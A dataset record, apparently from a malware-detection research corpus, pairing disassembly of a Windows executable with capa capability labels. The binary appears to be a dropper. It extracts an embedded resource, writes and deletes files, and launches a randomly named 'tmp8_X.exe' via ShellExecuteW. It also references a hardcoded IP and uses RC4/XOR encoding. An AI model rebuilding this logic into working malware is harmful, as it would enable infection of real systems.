joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404840
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x89
push edi
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4048a8
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x10]
push esi
mov dword [eax], esi
call fcn.0040a3f1
push esi
mov edi, eax
push 0
push edi
call fcn.00416c10
push esi
push ebx
push edi
call fcn.0041b6d0
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4048b0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4048e1
mov eax, ebx
call fcn.004049c0
cmp eax, edi
jne 0x4048e1
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.0041573c
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00404a20
add esp, 8
test eax, eax
je 0x4049ac
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00414927
add esp, 4
call fcn.00414939
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x42e458]
fmul qword [0x42e480]
fadd qword [0x42e478]
call fcn.00418930
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.004028c0
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00404ba0
mov esi, eax
cmp esi, 0xffffffff
je 0x4049aa
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x404989
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp ebx, 1
jne 0x4049aa
push ebp
mov esi, ebx
call fcn.00415c97
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00415c97
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x4049c0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x4049f2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
cmp eax, 1
jne 0x404a0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret
Function at 0x404ba0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404bf3
push esi
call edi
cmp eax, 0xffffffff
je 0x404bee
test al, 1
je 0x404bbe
xor eax, 1
test al, 4
je 0x404bc5
xor eax, 4
test al, 2
je 0x404bcc
xor eax, 2
test al, 0x20
je 0x404bd3
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test edi, edi
jne 0x404bf3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
pop edi
ret

Function at 0x404c70
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4371a8
push 0x67
push esi
call edi
push 0x64
push 0x4370e0
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00404e50
mov eax, dword [ebp + 0x10]
mov edx, 0x437278
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x404cc0
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
mov dword [0x433fbc], eax
call edi
call fcn.00401100
test eax, eax
je 0x404cfc
call fcn.00402910
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x4371a8
push 0x4370e0
push 0
mov dword [0x437270], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404d3b
call fcn.00402ab0
test eax, eax
jne 0x404d53
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0041482c
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00416c10
mov eax, dword [0x437780]
add esp, 0xc
test eax, eax
jbe 0x404d9c
cmp word [0x437784], 0
jbe 0x404d9c
push eax
mov esi, str.218.54.31.226
call fcn.00403650
mov dx, word [0x437784]
add esp, 4
mov word [0x433fb0], dx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp8_X.exe
mov edx, 0x437b38
call fcn.00404fa0
call fcn.00403730
lea esi, [esp + 0x10]
call fcn.004036d0
push 0x42c888
mov edx, esi
push 0x104
push edx
call fcn.0041483b
add esp, 0x14
push 0x437b38
mov eax, esi
push 0x104
push eax
call fcn.0041483b
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404e2c
push 0x1f4
call edi
push 1
push 0
push 0x42c760
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004045b0
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x406100
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
mov eax, 0x1068
call fcn.004190c0
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x106c]
push ebx
push ebp
push 0x42c880
push eax
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
xor ebp, ebp
call fcn.00414d8b
mov eax, dword [esp + 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x40616b
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
pop ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [esp + 0x1064]
xor ecx, esp
call fcn.0041482c
add esp, 0x1068
ret
push esi
push 2
push ebx
push eax
call fcn.0041545d
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0041567f
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.0041545d
mov eax, dword [esp + 0x28]
push eax
push 0x1000
lea ecx, [esp + 0x94]
push 1
push ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x67452301
mov dword [esp + 0x4c], 0xefcdab89
mov dword [esp + 0x50], 0x98badcfe
mov dword [esp + 0x54], 0x10325476
mov dword [esp + 0x58], 0xc3d2e1f0
call fcn.0041507e
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jbe 0x406216
lea edx, [esp + 0x70]
push esi
push edx
lea ebx, [esp + 0x1c]
call fcn.00405f70
mov eax, dword [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x80]
push 1
push ecx
add ebp, esi
call fcn.0041507e
mov esi, eax
add esp, 0x18
test esi, esi
ja 0x4061e1
xor ebx, ebx
push edi
lea esi, [esp + 0x18]
call fcn.00406010
mov edx, dword [esp + 0x10]
push edx
call fcn.00415112
add esp, 8
pop esi
cmp ebp, dword [esp + 0xc]
jb 0x406144
mov ecx, dword [esp + 0x106c]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0041482c
add esp, 0x1068
ret
Function at 0x407fd0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x407fd7
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x4080b4
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x42de28]
inc ecx
sub edx, 8
sub esi, 1
jne 0x407ff0
pop edi
test edx, edx
je 0x4080db
jmp 0x4080c0
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x42de28]
inc ecx
sub edx, 1
jne 0x4080c0
not eax
pop esi
ret

Function at 0x4080e0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x42de28]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x42de28]
mov dword [edx + 8], ecx
ret

Function at 0x408130
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x42de28]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x42de28]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x408840
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x408872
mov ecx, dword [edi + 2]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x408868
mov byte [edi + 6], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x10]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x408885
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0xc]
push esi
add eax, ecx
push eax
push edx
call fcn.0041b6d0
add dword [edi + 0x14], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x4088a0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x4088d3
mov edx, dword [esi + 2]
push 0
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esp + 0x13]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4088cd
mov byte [esi + 6], 1
mov edi, dword [esp + 8]
jmp 0x4088ff
mov eax, dword [esi + 0x10]
push ebx
mov ebx, dword [esi + 0x14]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x4088e5
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0xc]
push edi
add edx, ebx
push edx
lea eax, [esp + 0x13]
push eax
call fcn.0041b6d0
add esp, 0xc
add ebx, edi
mov dword [esi + 0x14], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x408916
movzx ecx, byte [esp + 3]
mov edx, dword [esp + 0xc]
mov dword [edx], ecx
xor eax, eax
add esp, 8
ret
cmp byte [esi], 0
je 0x408910
cmp byte [esi + 6], 0
je 0x408910
or eax, 0xffffffff
add esp, 8
ret
Function at 0x4089b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
cmp byte [esi], 0
je 0x4089f5
cmp byte [esi + 1], 0
je 0x4089fd
mov eax, dword [esi + 2]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp byte [esi], 0
push ebp
je 0x408a12
cmp byte [esi + 1], 0
je 0x408a04
mov edx, dword [esi + 2]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov ebp, eax
sub ebp, dword [esi + 7]
mov dword [esp + 4], ebp
jmp 0x408a1b
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x14], ecx
jmp 0x4089ce
or eax, 0xffffffff
add esp, 0x18
ret
mov dword [esp + 4], 0
mov ebp, dword [esp + 4]
jmp 0x408a1b
mov eax, dword [esi + 0x14]
mov dword [esp + 4], eax
mov ebp, eax
push edi
mov edi, 0xffff
mov dword [esp + 0xc], edi
cmp ebp, edi
jae 0x408a2f
mov dword [esp + 0xc], ebp
mov edi, ebp
push ebx
push 0x404
call fcn.0041573c
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x408a4d
pop ebx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x18
ret
mov eax, 4
mov dword [esp + 0x18], 0xffffffff
cmp edi, eax
jbe 0x408b61
jmp 0x408a70
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0xc]
add eax, 0x400
mov dword [esp + 0x14], edi
cmp eax, edi
ja 0x408a81
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, dword [esp + 0x14]
sub ebp, eax
mov dword [esp + 0x20], eax
cmp ebp, 0x404
jbe 0x408a9a
mov ebp, 0x404
cmp byte [esi], 0
je 0x408abf
cmp byte [esi + 1], 0
je 0x408b61
mov ecx, dword [esi + 7]
mov edx, dword [esi + 2]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
jmp 0x408ac2
mov dword [esi + 0x14], eax
cmp byte [esi], 0
mov edi, ebp
je 0x408aea
mov ecx, dword [esi + 2]
push 0
lea eax, [esp + 0x20]
push eax
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x408ae4
mov byte [esi + 6], 1
mov eax, dword [esp + 0x1c]
jmp 0x408b10
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [eax + ebp]
cmp edx, ecx
jbe 0x408afb
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0xc]
push edi
add ecx, eax
push ecx
push ebx
call fcn.0041b6d0
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div ebp
cmp eax, 1
jne 0x408b61
lea eax, [ebp - 3]
test eax, eax
jl 0x408b4c
dec eax
cmp byte [eax + ebx], 0x50
jne 0x408b3c
cmp byte [eax + ebx + 1], 0x4b
jne 0x408b3c
cmp byte [eax + ebx + 2], 5
jne 0x408b3c
cmp byte [eax + ebx + 3], 6
je 0x408b42
test eax, eax
jge 0x408b20
jmp 0x408b4c
mov edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
jne 0x408b61
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jb 0x408a64
push ebx
call fcn.00415c97
mov eax, dword [esp + 0x1c]
add esp, 4
pop ebx
pop edi
pop ebp
add esp, 0x18
ret
Function at 0x409530
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x40954e
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x409542
cmp dword [edi + 0x7c], ebx
je 0x40955d
call fcn.00409910
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.004092a0
add esp, 0xc
test eax, eax
je 0x409584
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x7e
call fcn.0041573c
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x4095c2
push 0x4000
call fcn.0041573c
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x4095cf
push esi
call fcn.00415c97
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x409617
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.004083f0
test eax, eax
jne 0x409617
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x40963e
mov cl, byte [edi + 0x39]
mov byte [esi + 0x7d], cl
jmp 0x409644
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x7d], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x6d]
mov dword [esi + 0x79], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x71], 0x23456789
mov dword [esi + 0x75], 0x34567890
cmp ebp, ebx
je 0x409681
lea ecx, [ecx]
mov cl, byte [ebp]
cmp cl, bl
je 0x409681
call fcn.004080e0
add ebp, 1
jne 0x409670
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x409a70
Capabilities:
Get common file path

Disassembly:
cmp dword [esi], 0
push edi
jne 0x409b23
cmp dword [esi + 4], 0xffffffff
jne 0x409b23
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
jmp 0x409aa0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409aa0
sub eax, edx
sar eax, 1
movzx eax, word [esi + eax*2 + 0x242]
cmp ax, 0x5c
je 0x409ad9
cmp ax, 0x2f
je 0x409ad9
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x409ac6
mov eax, dword [0x42c888]
mov dword [edi], eax
push 0x18
call fcn.0040a3c2
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
add esp, 4
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], 0
mov dword [eax + 7], 0
call fcn.00408b80
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
ret 8
mov eax, 0x1000000
pop edi
ret 8

Function at 0x41482c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432c20]
jne 0x414836
repz ret
jmp fcn.004190eb

Function at 0x423bff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004193c0
and dword [ebp - 4], 0
cmp dword [0x436abc], 0
mov ebx, eax
jne 0x423cb0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x423d61
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x423d61
push eax
call fcn.0041934e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x436abc], eax
call esi
push eax
call fcn.0041934e
mov dword [esp], 0x42b654
push edi
mov dword [0x436ac0], eax
call esi
push eax
call fcn.0041934e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x436ac4], eax
call esi
push eax
call fcn.0041934e
pop ecx
mov dword [0x436acc], eax
test eax, eax
je 0x423cb0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041934e
pop ecx
mov dword [0x436ac8], eax
mov eax, dword [0x436ac8]
cmp eax, ebx
je 0x423d08
cmp dword [0x436acc], ebx
je 0x423d08
push eax
call fcn.004193c9
push dword [0x436acc]
mov esi, eax
call fcn.004193c9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x423d08
test edi, edi
je 0x423d08
call esi
test eax, eax
je 0x423cff
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x423cff
test byte [ebp - 0xc], 1
jne 0x423d08
or dword [ebp + 0x10], 0x200000
jmp 0x423d41
mov eax, dword [0x436ac0]
cmp eax, ebx
je 0x423d41
push eax
call fcn.004193c9
pop ecx
test eax, eax
je 0x423d41
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x423d41
mov eax, dword [0x436ac4]
cmp eax, ebx
je 0x423d41
push eax
call fcn.004193c9
pop ecx
test eax, eax
je 0x423d41
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x436abc]
call fcn.004193c9
pop ecx
test eax, eax
je 0x423d61
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x423d63
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430950
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x837c88]
xor edx, edx
cmp eax, edx
jne 0x430976
xor eax, eax
mov byte [eax + 0x837b88], al
inc eax
cmp eax, 0x100
jl 0x43095e
mov dword [0x837c88], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x837b88
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x430a07
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4309da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4309a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x430a80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x430ad3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x430aba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret